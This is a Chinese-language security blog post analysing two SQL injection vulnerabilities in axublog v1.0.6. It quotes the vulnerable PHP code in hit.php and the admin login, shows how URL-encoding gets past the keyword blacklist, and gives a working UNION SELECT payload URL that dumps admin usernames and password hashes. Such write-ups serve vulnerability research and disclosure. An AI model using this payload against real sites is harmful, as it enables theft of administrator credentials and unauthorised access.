Chybeta

axublog v1.0.6 两处sql注入分析

继续水一水,把以前随手看的发上来。

axublog

下载地址:http://www.axublog.com/post/axublog_jian_zhan_xi_tong_update_download/#%E4%B8%8B%E8%BD%BD%E5%9C%B0%E5%9D%80

sql注入一:hit.php

hit.php的代码量较小,这里直接贴出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
header("Content-type:text/html; charset=utf-8");
require("cmsconfig.php");
require("class/c_other.php");
sqlguolv();
$g=$_GET['g'];
if ($g=='arthit'){
$id=$_GET['id'];
if($id!=''){
$tab=$tabhead."arts";
mysql_select_db($tab);
$sql=mysql_query("UPDATE ".$tab." SET hit=hit+1 where id=".$id);
$sql = mysql_query("select * from ".$tab." where id=".$id);
$row=mysql_fetch_array($sql);
$str=$row['hit'];
echo 'document.write('.$str.');';
}
}
?>

其中sqlguolv()函数定义在 class\c_other.php的第545行左右:

1
2
3
4
Function sqlguolv() {
@header("Content-type:text/html; charset=utf-8");
if (preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',$_SERVER['QUERY_STRING'])==1 or preg_match('/select|insert|update|delete|\'|\\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/i',file_get_contents("php://input"))==1){echo "警告 非法访问!"; exit;}
}

不过由于程序没有考虑到编码的问题,因此可以对某些关键字进行url编码进行绕过。

结合表的结构,可以构造出以下payload:

1
http://127.0.0.1:2500/axublog/axublog1.0.6install/hit.php?g=arthit&id=0+uni%6fn+s%65l%65ct+1,1,1,1,1,1,group_concat(id,0x3c62723e,adnaa,0x3c62723e,adpss,0x3c62723e),1,1,1,1,1+fro%6d+axublog_adusers

sql注入二:ad/login.php

填写用户名和密码后,点击提交,会访问login.php?g=jsloginpost

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
..
@$user=$_POST["user"];
@$psw=$_POST["psw"];
@$loginlong=$_POST["loginlong"];
@$g=$_GET["g"];
switch ($g)
{
case "jsloginpost":jsloginpost();break;
case "exit":loginexit();break;
default:index();break;
}

第84行左右:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
...
function jsloginpost(){
global $tabhead;
global $txtchk;
@$user=$_POST["user"];
@$psw=$_POST["psw"];$psw = authcode(@$psw, 'ENCODE', 'key',0);
@$loginlong=$_POST["loginlong"];
setcookie("lggqsj",date('Y-m-d H:i:s',time()+$loginlong), time()+60*60*24,"/; HttpOnly" , "",'');
$tab=$tabhead."adusers";
$chk=" where adnaa='".$user."' and adpss='".$psw."' ";
mysql_select_db($tab);
$sql = mysql_query("select * from ".$tab.$chk);
if(!$sql){$jieguo="<div id=redmsg>(数据库查询失败!)</div>";}else{
$num=mysql_num_rows($sql);
if($num==0){$jieguo='<div id=redmsg>登录失败:账户或密码错误!</div>';}
else{
loginpass($loginlong);
$jieguo='<div id=bluemsg>登录成功!正在前往<a href="index.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=index.php">';
@$chkmoblie=isMobile();
if($chkmoblie==1){$jieguo='<div id=bluemsg>登录成功!正在前往<a href="wap.php">后台</a>。。。</div><meta http-equiv="refresh" content="1;url=wap.php">';}
}
}
$json_arr = array("jieguo"=>$jieguo);
$json_obj = json_encode($json_arr);
echo $json_obj;
}

所以可以惊奇的发现,这里没有任何过滤,单引号也没有,啥都没有。。。。

为方便,我加了一句echo $chk;

登陆成功。

微信扫码加入知识星球【漏洞百出】
chybeta WeChat Pay

点击图片放大,扫码知识星球【漏洞百出】

本文标题:axublog v1.0.6 两处sql注入分析

文章作者:chybeta

发布时间:2017年12月26日 - 16:12

最后更新:2017年12月26日 - 17:12

原始链接:http://chybeta.github.io/2017/12/26/axublog-v1-0-6-两处sql注入分析/

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。